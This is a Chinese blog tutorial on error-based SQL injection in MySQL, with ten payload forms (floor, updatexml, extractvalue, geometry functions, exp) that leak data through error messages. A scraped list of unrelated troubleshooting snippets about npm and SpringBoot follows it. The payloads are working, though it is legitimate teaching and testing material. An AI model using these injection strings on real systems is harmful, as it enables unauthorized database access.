【web安全】——报错注入

article/2025/9/15 3:53:56
作者名:Demo不是emo
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 内心的爱意逐渐被时间冲淡
今天给大家讲解的是SQL注入中的报错注入,这种注入方式平时用的非常多,上次看别人面试时遇到了,就再来深究一下,研究其中的原理,利用方式等等

报错注入总共有10种,这里着重介绍其中三种常用的,当然另外几种也会提到

一、十种报错注入手法

先来简单看看报错注入的十种手法

1、floor报错注入

语句如下

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

效果如下

2、extractvalue报错注入

语句如下

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

效果如下

3、updatexml报错注入

语句如下

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

效果如下

4、geometrycollection报错注入

语句如下

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

效果如下

5、multipoint报错注入

语句如下

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

效果如下

6、polygon报错注入

语句如下

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

效果如下

7、multipolygon报错注入

语句如下

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

效果如下

8、linestring报错注入

语句如下

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

效果如下

9、multilinestring报错注入

语句如下

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

效果如下

10、exp报错注入

语句如下

select * from test where id=1 and exp(~(select * from(select user())a));

效果如下

二、常用的三种报错注入

1、floor报错注入

这种注入方式与接下来的两种方式原理上存在很大的区别,相对来说要复杂很多,所以我直接新写了一篇博客来介绍这种注入手法,博客链接如下

http://t.csdn.cn/mBZ5H

语句如下,具体的逻辑和原理在这里就不多讲了,有兴趣的小伙伴可以去看看博客

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、Updatexml报错注入

首先来看看updatexml这个函数,如下

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

漏洞形成原理讲解

由于updatexml的第二个参数需要 Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

如下

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在第二个参数中,将我们的恶意语句用concat函数包裹起来即可,此时程序的报错信息中就会返回执行我们恶意命令后的结果,如下

3、extractvalue报错注入

extracvalue和updatexml还是有一点点区别,updatexml是修改,而extractvalue是查询。但是用法和updatexml是一样的。

首先我们还是来看看extractvalue()这个函数,如下

EXTRACTVALUE (XML_document, XPath_string);

 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

 第二个参数:XPath_string (Xpath格式的字符串)

 concat:返回结果为连接参数产生的字符串。

原理和updatexml报错注入差不多,也是第二个参数的xpath格式漏洞,所以又如下漏洞语句

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

效果如下


http://chatgpt.dhexx.cn/article/bnlALVBP.shtml

相关文章

SpringBoot打包报错

一、对springBoot打包 package 报错的情况 处理方法&#xff1a;对文件目录下的pom.xml文件进行修改 ① 修改编码 配置编码格式为 UTF-8 具体的操作就是在pom.xml文件中的<properties></properties>标签下增加一行配置编码格式的代码&#xff1a; <propertie…

pip list 报错

使用到的具体命令&#xff1a; 1、python -m ensurepip 2、python -m pip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple 项目场景&#xff1a; pip list 报错 问题描述 报错如上图所示 原因分析&#xff1a; pip 更新时关闭窗口、断网、没有使用国…

pnpm报错问题

在使用模板练习项目的时候遇到了一个问题&#xff0c;只要打开编辑器进入项目就会疯狂报错&#xff0c;每一个页面都有报错。这次的方向就是解决这个问题。 首先&#xff0c;打开编辑器,这里我使用的是vscode&#xff0c;winj打开编辑器命令行&#xff0c;输入npm i npm i 缓存…

报错注入详解

报错注入 报错注入是SQL注入的一种。 利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error() 优点:不需要显示位 缺点:需要输出mysql_error()的报错信息 报错函数 1、floor报错注入 floor()报错注入是利用count()、rand()、floor()、group by…

yum -list 报错

当你通过 ftp 对另一台主机配置 yum 源的时候报错显示如下&#xff1a; [rootclient ~]# yum list Loaded plugins: fastestmirror ^C^Ccd ^H^H^Hcd ^H^H^CCould not retrieve mirrorlist http://mirrorlist.centos.org/?release7&archx86_64&repoo…

String报错

​ 前言 记录一下在java编程中自己所遇到的报错 在IDEA中编写java程序时&#xff0c;可能会出现String报错的情况&#xff0c;这是我遇到的其中一种&#xff0c;一下是解决方案。 2.读入数据 点击红色框中的下载就可以啦&#xff01;

报错 org.springframework.beans.factory.NoSuchBeanDefinitionException 的解决办法

我在 zkui 中看到应该提供的 service 已经在 zk 中注册了&#xff0c;但是启动 Tomcat 的时候&#xff0c;还是提示没有指定 service 的 Bean。 仔细检查了好久好久才终于发现&#xff0c;原来是自己的 BeanID 写的不一致… 【自己挖坑自己跳啊啊啊啊啊啊啊啊】 仔细检查一下…

【Javaweb——tomcat常见错误】java.lang.NullPointerException

参考&#xff1a;java.lang.NullPointerException出现的几种原因以及解决 运行程序时&#xff0c;发生错误&#xff1a; 错误类型&#xff1a;java.lang.NullPointerException 错误的地方&#xff1a;两个doPost java.lang.NullPointerException出现的几种原因&#xff1a; …

常见报错总结

大前提&#xff1a;报错了先去找Caused by 这个关键字&#xff0c;后面是报错信息。 如果没有&#xff0c;那么就找ERROR下面几行是报错信息。 1、依赖无法下载或加载?(本地库冲突,网络不好,maven镜像配置,指定版本在远程服务器不存在&#xff0c;清idea缓存后重启) 项目的pom…

npm i -g **** 安装成功后,显示 不是内部命令或外部命令” webpack提示“不是内部命令或外部命令” cnpm 不是内部命令

使用npm安装 webpack 或者cnpm 但是执行webpack -v 显示“不是内部命令或外部命令“ 原因在于环境配置问题。打开环境配置 我的电脑 ---》右键属性 ---》 检查Path 里面是否有 红线的这个路径&#xff0c;当然要webapck上一级&#xff0c;把目录添加进去(如果不记得&#xf…

解决 cnpm 不是内部命令的解决办法

看了几篇文章都很废话又没解决问题&#xff0c;感谢 https://blog.csdn.net/weixin_38606332/article/details/81941793 最后的提示。 复制 cnpm和cnpm.cmd 文件 到nodejs 的安装目录即可&#xff08;可查询npm.cmd所在文件夹&#xff0c;同级存放&#xff09;

cnpm显示成功安装后cnpm不是内部命令的解决办法

cnpm显示成功安装后cnpm不是内部命令的解决办法 今天在用npm命令成功安装完淘宝镜像后&#xff0c;用cnpm -v命令&#xff0c;显示不是内部命令&#xff0c;其实昨天安装vue cil命令后&#xff0c;也是显示不是内部命令。原因解决方案 今天在用npm命令成功安装完淘宝镜像后&…

安装了淘宝镜像cnpm后使用cnpm -v命令显示不是内部命令的解决方法

安装镜像&#xff1a; npm install -g cnpm --registryhttps://registry.npm.taobao.org 如果安装成功之后使用cnpm -v显示不是内部命令的话&#xff0c;多半是环境变量的问题 去到框中的这目录下看是否有cnpm.cmd文件&#xff0c;如果有就把这个目录放进环境变量里面&#x…

解决windows下安装cnpm后,cnmp不是内部命令的问题

1、安装cnpm npm install -g cnpm -registryhttps://registry.npm.taobao.org 2、验证cnpm 用下面命令检查cnpm安装&#xff0c;发现不可用&#xff0c;提示cnpm不是内部命令。 cnpm -v 3、解决方案 将cnpm所在目录&#xff0c;如下图所示&#xff0c;配置在系统环境变量pat…

关于cnpm不是内部或外部命令,修改环境配置后仍无效的解决办法

平时开发中npm作为包管理器来说相对来说比较好用&#xff0c;但是由于服务器不在国内所以有的时候速度会慢一点&#xff0c;也可能经常会出现不稳定的情况&#xff0c;所以需要使用淘宝的cnpm代替npm&#xff0c;因为它的服务器在国内&#xff0c;所以使用可以提高我们的下载速…

安装cnpm后,提示cnpm不是内部命令

将cnpm添加到环境变量&#xff0c;因为我是将全局模块所在路径及缓存路径切换到其他盘了可以通过以下命令切换&#xff0c;所以我的cnpm安装的路径为E:\vueTemp\node\node_global npm config set prefix "E:\vueTemp\node\node_global"npm config set cache "E…

cnpm不是内部命令的解决方案

当淘宝镜像已经安装&#xff0c;但是输入cnpm -v验证是否安装成功后&#xff0c;会报错&#xff1a;cnpm不是内部命令 在下图所示cmd中&#xff0c;输入cnpm -v&#xff0c;会显示版本号&#xff0c;说明cnpm已经安装成功&#xff0c;但是环境变量没有配好&#xff0c;接下来重…

cnpm不是内部命令的解决

上一篇&#xff1a;NodeJS、NPM安装配置步骤(windows版本) 安装完&#xff0c;执行cnpm -v发现报出不是内部命令。 安装成功如下图&#xff1a; 解决方案&#xff1a; 之前配置过默认安装都会在D:\\nodejs\node_global中&#xff0c;所有我们cd 到 这个路径下&#xff0c;执…

cnpm 安装后cnpm不是内部命令的解决办法

npm i -g cnpm 安装后cnpm不是内部命令&#xff0c;……&#xff1f;&#xff1f;&#xff1f;&#xff08;其实我的是用的好好的&#xff0c;突然出现这种情况&#xff0c;有全局安装后还是这样……&#xff09; 解决丝路 找到cnpm.cmd配置环境变量&#xff08;不是内部命令…

npm安装淘宝镜像后cnpm不是内部命令

安装淘宝镜像cnpm命令不存在&#xff0c;需要配置一下环境变量&#xff0c;有人说要配置到cnpm/bin目录&#xff0c;我实测后不行&#xff0c;我这里是全局定义后的根目录&#xff0c;我下面截图地址栏应该是node_global&#xff0c;大家不要误会 复制以下路径 添加到 好了&…